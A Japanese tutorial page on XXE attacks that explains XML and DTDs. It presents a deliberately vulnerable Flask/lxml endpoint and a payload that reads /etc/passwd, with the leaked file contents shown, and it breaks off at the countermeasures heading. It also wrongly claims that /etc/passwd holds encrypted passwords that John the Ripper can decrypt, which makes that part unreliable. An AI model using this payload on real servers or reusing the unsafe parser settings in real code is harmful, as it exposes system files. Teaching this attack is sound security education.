XML外部エンティティ(XXE)とは? - プログラミング学習サイト

XML外部エンティティ(XXE)とは?

1. XML外部エンティティ(XXE)とは?

XML外部エンティティ(XML External Entity, XXE)は、XMLの処理中に外部リソース(ファイル、ネットワーク経由のデータなど)を読み込む機能を悪用する攻撃手法です。悪意ある攻撃者がこれを利用して、以下のような危害を与えることがあります:

  • サーバ上の機密ファイルを読み取る
  • リモートサーバへのリクエストを送信(SSRF: サーバサイドリクエストフォージェリ)
  • サービス拒否攻撃(DoS

XXEは、XMLを扱うアプリケーションが外部エンティティの処理を適切に制御していない場合に発生します。 その他の脆弱性同様、サニタイズが不足している場合に起こり得る

2. XMLとは?

データを構造化して表現するためのマークアップ言語です。 APIのレスポンスの形態としてもあり得ますが、jsonと比較してxml形式のレスポンスは縮小傾向にあります。

XMLは可読性、柔軟性、互換性の点で広く利用されていますが、仕様上外部エンティティの参照が可能であるため、セキュリティリスクが生じます。

XMLの例

まずはXMLの通常の利用ケースを見てみます。 以下のメモは、Jani から Tove へのメモで、XML として保存されています。

<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

上記の例のように、書かれたデータをAPIに返したり、逆に受け取ったりすることでプログラミング言語の枠を超えてデータをやり取りすることができます。

XMLを引用 : https://www.w3schools.com/xml/xml_whatis.asp

上記のファイルを .xmlとして保存し、ChromeFirefox といったブラウザで開くことでXMLビューアーとして参照が可能です。

XML宣言

XML 文書の先頭には、使用するXMLのバージョンや文字コードについて記述した XML 宣言を記述します。

<?xml version="1.0" encoding="UTF-8" ?>
  • version : XML のバージョンは 1.0 と 1.1 があります。(ほとんどのケースで1.0が使用されているようです)
  • encoding : UTF-8またはShift_JISのどちらかですが、アプリケーションやOSで代わりそうですが、 宣言で記述している文字コードと実際に使っている文字コードが異なる場合はエラーとなりますので、注意してください

このXML宣言は任意ですので、宣言しなくてもとりあえず問題なさそうです。

属性

XMLでは<to>Tove</to>のようなタグのことを「要素」とも呼びます。 HTMLで使用するタグとほぼ同じと考えて良いです。

そして、XMLではこの要素に対して属性と呼ばれる付加的なデータをつけることも可能となってます。

<note>
  <to color="red">Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

ちなみに、color="red"を属性ではなく、<color>red</color>にようにタグとして使用しても良いかもしれません。

タグと属性には、「属性は同じ属性を複数使用できない」というルール以外には大きな違いはありませんので、 より適していると思われる方法を選択してくだされば良いと思います。

DTD(文書型定義)

上記で説明した通り、XMLはタグの宣言や要素の使用方法に制限がないため、開発者がルールを決めなければなりません。

ルールを決めなければ、同一の目的を持つデータでも、XMLを使用するユーザーやアプリケーションごとにバラバラになり集計ができなくなる可能性もあります。

そこで、XMLの記述にルールを定める機能がDTD(文書型定義)です。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

上記のDOCTYPE宣言の中で、noteタグを定義することに成功しています。

  • noteタグの中には to,from,heading,bodyタグが含まれていることが記述されています。
  • to,from,heading,bodyは全て#PCDATAとして定義され、#PCDATAは文字列データを表しています。

このように、XMLの解析のためのヒントとルールを与えるのがDTDの役割です。

XML外部エンティティ

これまでXMLのデータをファイル内部で簡潔する要素が多かったですが、外部のXMLデータを埋め込みたいケースも出てくると思います。 例えば、注意事項などの文言をXMLに固定で読み込ませたい時、都度XMLに書き込むのはデータがそれぞれのXMLに散らばるので合理的ではありません。

このようにデータを一箇所にまとめて起きつつ、必要なタイミングで参照したいとき、 XMLでは他のサイトのXMLを読み込む機能、XML外部エンティティが活用できます。

XML外部エンティティはDTDENTITY 変数名という構文で宣言をでき、&変数名;で使用可能です。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body,alert)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!ELEMENT alert ANY>
<!ENTITY alertData SYSTEM "file:///var/www/app/static/alert.xml">
]>
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
  <alert>&alertData;</alert>
</note>

3. XXE(XML外部エンティティ)が可能なflaskアプリ

以下はflaskのアプリケーションAPIです。 (XXE脆弱性が含まれているので、本番で使用しないでください)

to, from, head, bodyXML形式で受け取り、メールの本文を作成する便利なアプリケーションです。

from flask import Flask, request
from lxml import etree  # lxmlを使用

app = Flask(__name__)

@app.route('/parse', methods=['POST'])
def parse_xml():
    # クライアントから受信したXMLデータ
    xml_data = request.data.decode('utf-8')
    print(f"Received XML:\n{xml_data}")

    # lxmlのパーサー設定
    parser = etree.XMLParser(load_dtd=True, resolve_entities=True)

    try:
        # XMLデータを解析
        root = etree.fromstring(xml_data, parser=parser)

        # XML要素からデータを抽出
        to = root.findtext('to')
        from_ = root.findtext('from')  # Pythonの予約語 'from' を避けて 'from_' を使用
        heading = root.findtext('heading')
        body = root.findtext('body')

        # メール本文を作成
        email_body = f"""
To: {to}
From: {from_}
Subject: {heading}

{body}
        """
        return f"Generated Email Body:\n{email_body.strip()}"
    except Exception as e:
        return f"Error parsing XML: {str(e)}", 400


if __name__ == '__main__':
    app.run(host="0.0.0.0", port=80, debug=True)

通常のアプリの使い方であれば、以下のようなXMLAPIへPOSTメソッドを使用して送信することで、メールの本文が返ってきます。

<?xml version="1.0" ?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to (#PCDATA)>
  <!ELEMENT from (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
]>
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>
  • 作成されるメール本文の例
Generated Email Body:
To: Tove
From: Jani
Subject: Reminder

Don't forget me this weekend!

ここまでは通常のメールを送信してくれるサーバーとして、便利な機能に見えるのですが、以下のようなXML外部エンティティを用いると機密情報が抜き出せます。

<?xml version="1.0" ?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to (#PCDATA)>
  <!ELEMENT from (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>&xxe;</body>
</note>
  • 以下 /etc/passwordが含まれるメール本文
Generated Email Body:
To: Tove
From: Jani
Subject: Reminder

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin% 

4. 解説

上記のpayloadで重要なのは <!ENTITY xxe SYSTEM "file:///etc/passwd" >という部分です。 サーバーが外部エンティティを許可している場合、 etc/passwdの情報が読み取られて、 xxe変数に格納されます。

あとは読み取った情報を <body>&xxe;</body>で表示されることで、サーバー内部のパスワードの情報が取得できてしまいます。 (通常はetc/passwdは暗号化されているのですが、John The Ripperというツールを使うことで復号も可能です)

5. 対策